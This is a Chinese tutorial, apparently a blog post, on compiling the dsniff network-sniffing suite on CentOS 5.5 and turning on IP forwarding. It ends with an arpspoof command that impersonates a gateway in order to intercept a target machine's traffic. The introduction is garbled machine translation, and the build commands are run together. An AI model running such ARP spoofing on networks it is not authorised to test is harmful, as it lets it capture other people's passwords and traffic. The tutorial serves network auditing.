dsniff是一家集工具为网络审计和渗透测试dsniff,filesnarf,mailsnarf,msgsnarf,urlsnarf,webspy被动监测网络的数据(密码、电子邮件、文件等)。arpspoof,dnsspoof,macof方便截取网络流量通常不能攻击者(e。g,由于第2层交换)。sshmitm和webmitm实现主动的猴子在中间攻击重定向SSH和HTTPS会话利用弱绑定在特别的PKI。我写这些工具与诚实的意图——审计自己的网络,并证明了大多数网络应用协议不安全感。请不要滥用这种软件

实验环境
centos-5.5

使用软件
openssl-0.9.7i.tar.gz
libnids-1.18.tar.gz
libpcap-0.7.2.tar.gz
libnet-1.0.2a.tar.gz
db-4.7.25.tar.gz
dsniff-2.3.tar.gz

软件安装

yum install -y gcc gcc-c++ flex bisontar zxvf openssl-0.9.7i.tar.gzcd openssl-0.9.7l./configmakemake install tar zxvf libpcap-0.7.2.tar.gzcd libpcap-0.7.2./configuremakemake install tar zxvf libnet-1.0.2a.tar.gzcd Libnet-1.0.2a./configuremakemake install tar zxvf libnids-1.18.tar.gzcd libnids-1.18./configuremakemake install tar zxvf db-4.7.25.tar.gzcd db-4.7.25/build_unix../dist/configure --enable-compat185makemake install tar zxvf dsniff-2.3.tar.gzcd dsniff-2.3vim arp.c

11 #include "config.h"
添加 #include "memory.h"

11 #include "config.h"
12 #include "memory.h"

./configure --enable-compat185 --with-db=/usr/local/BerkeleyDB.4.7
make
make install

设置
vim /etc/sysctl.conf

找到 net.ipv4.ip_forward = 0

修改 net.ipv4.ip_forward = 1

sysctl -p 修改生效，无需重启系统
cp -p /usr/local/BerkeleyDB.4.7/lib/libdb-4.7.so /usr/lib
cd /usr/local/sbin;ls 如果有dsniff，既为安装成功
到此为止dsniff,安装成功了。

使用方法
使用 arpspoof 对目标机实施ARP欺骗攻击
arpspoof -i eth0 -t 192.168.0.103 192.168.0.1 192.168.0.1为伪装网关地址
